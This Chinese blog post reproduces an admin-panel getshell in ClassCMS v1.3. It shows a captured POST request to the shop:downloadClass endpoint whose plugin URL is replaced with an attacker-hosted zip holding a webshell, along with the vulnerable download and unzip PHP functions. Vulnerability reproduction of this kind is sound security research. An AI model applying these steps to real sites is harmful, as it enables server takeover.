如何进行ClassCMS后台getshell 复现

如何进行ClassCMS后台getshell 复现,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

ClassCMS 简介

ClassCMS 官网 :https://classcms.com/

ClassCMS是一款简洁灵活的开源内容管理系统,可以非常方便的通过它来快速开发各种网站应用。

兼容PHP5.2–PHP8.0,在APACHE、NGINX、IIS上都能使用,默认支持MySQL SQLite两种数据库,支持上百万数据量。

系统没有多余的功能,整体安装包不到1M(去掉编辑器与Layui后不到300KB),拥有完善与灵活的应用插件机制,常用功能均可制作成应用插件.

系统模板语言简单,只需要懂HTML+CSS即可制作简单的网站模板.


后台页面基于Layui制作,自适应页面,在手机端也有不错的使用体验.

通过后台模型,可以快速增加栏目,支持无限级栏目,栏目网址支持中文.

拥有各类输入框类型,能快速扩展文章字段,栏目变量,用户属性,通过应用插件也可方便的扩展制作各类输入框.

后台有完善的权限体系,可自定义每个角色的权限,,可自定义栏目与输入框与的查看修改权限.

ClassCMS 后台Getshell 黑盒测试复现

ClassCMS下载最新版本 v1.3

如何进行ClassCMS后台getshell 复现

程序下载解压过后如下图

如何进行ClassCMS后台getshell 复现

搭建环境并启动

如何进行ClassCMS后台getshell 复现

配置好配置

如何进行ClassCMS后台getshell 复现

如何进行ClassCMS后台getshell 复现

如何进行ClassCMS后台getshell 复现

如何进行ClassCMS后台getshell 复现

打开应用管理–应用商店

如何进行ClassCMS后台getshell 复现

随便点击某个应用进行下载

如何进行ClassCMS后台getshell 复现

如何进行ClassCMS后台getshell 复现

点击下载时进行抓包

如何进行ClassCMS后台getshell 复现

如何进行ClassCMS后台getshell 复现

获取一下返回包

如何进行ClassCMS后台getshell 复现

这个时候会返回一个插件下载地址

继续Forward

如何进行ClassCMS后台getshell 复现

POST /admin/?do=shop:downloadClass&ajax=1 HTTP/1.1Host: 192.168.253.1:8013Content-Length: 142Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://192.168.253.1:8013Referer: http://192.168.253.1:8013/admin/?do=shop:index&bread=304%E7%BC%93%E5%AD%98%E6%8F%92%E4%BB%B6&action=detail&classhash=cache304Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: token_43f1a9=53f68d86f94ad3c93551924e77d0e91a; csrf_43f1a9=5f5244ceConnection: closeclasshash=cache304&url=http%3A%2F%2Fclasscms.com%2Fshop%2F%3Faction%3Ddownload%26version%3D1.0%26classhash%3Dcache304%26token%3D&csrf=5f5244ce

向 /admin/?do=shop:downloadClass&ajax=1 POST 了一个插件地址和插件名称

新建一个小马并压缩

如何进行ClassCMS后台getshell 复现

如何进行ClassCMS后台getshell 复现

上传到服务器,并能够下载的地方,也可以在网站处寻找文件上传的地方

修改网址为压缩包的地址如何进行ClassCMS后台getshell 复现

如何进行ClassCMS后台getshell 复现

然后访问

http://192.168.253.1:8013/class/cache304/index.php

如何进行ClassCMS后台getshell 复现

已经成功上传了小马

如何进行ClassCMS后台getshell 复现

ClassCMS 后台Getshell 白盒测试复现

直接查看/class/shop/shop.php 的第82行

如何进行ClassCMS后台getshell 复现

直接调用了this:download函数

function download($url,$filepath) {$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);if(!$fp = @fopen ($filepath,'w+')) {Return false;}curl_setopt($curl,CURLOPT_FILE, $fp);curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,10);curl_setopt($curl,CURLOPT_TIMEOUT,300);curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,FALSE);curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,FALSE);$info=curl_exec($curl);$httpinfo=curl_getinfo($curl);curl_close($curl);fclose($fp);if($httpinfo['http_code']>=300) {@unlink($filepath);Return false;}Return $info;}}

然后再到92行

如何进行ClassCMS后台getshell 复现

if(C('cms:class:unzip',$classfile,$classdir)) {@unlink($classfile);if(C('cms:class:refresh',$classhash)) {echo(json_encode(array('msg'=>"下载完成,请在应用管理页面中安装此应用")));Return ;}else {echo(json_encode(array('msg'=>"安装包格式错误,请重试",'error'=>1)));Return ;}}else{@unlink($classfile);echo(json_encode(array('msg'=>"安装包解压失败,请重试",'error'=>1)));Return ;}

调用了/cms/class.php 下面的unzip方法

function unzip($src_file, $dest_dir=false, $create_zip_name_dir=true, $overwrite=true) {if(class_exists('ZipArchive')) {$zip = new ZipArchive;if ($zip->open($src_file) === TRUE){if(@$zip->extractTo($dest_dir)) {$zip->close();Return true;}$zip->close();}}elseif(function_exists('zip_open')) {if(!cms_createdir($dest_dir)) {Return false;}if ($zip = zip_open($src_file)){if ($zip){if($create_zip_name_dir){$splitter='.';}else {$splitter='/';}if ($dest_dir === false){$dest_dir = substr($src_file, 0, strrpos($src_file, $splitter))."/";}while ($zip_entry = @zip_read($zip)){$pos_last_slash = strrpos(zip_entry_name($zip_entry), "/");if ($pos_last_slash !== false){cms_createdir($dest_dir.substr(zip_entry_name($zip_entry), 0, $pos_last_slash+1));}if (zip_entry_open($zip,$zip_entry,"r")){$file_name = $dest_dir.zip_entry_name($zip_entry);if ($overwrite === true || $overwrite === false && !is_file($file_name)){$fstream = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));@file_put_contents($file_name, $fstream);}zip_entry_close($zip_entry);}}@zip_close($zip);}Return true;}}Return false;}

直接就会将下载的文件进行解压,从而构成后台getshell

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。

原创文章,作者:Maggie-Hunter,如若转载,请注明出处:https://blog.ytso.com/227581.html

(0)
上一篇 2022年1月10日
下一篇 2022年1月10日

相关推荐

发表回复

登录后才能评论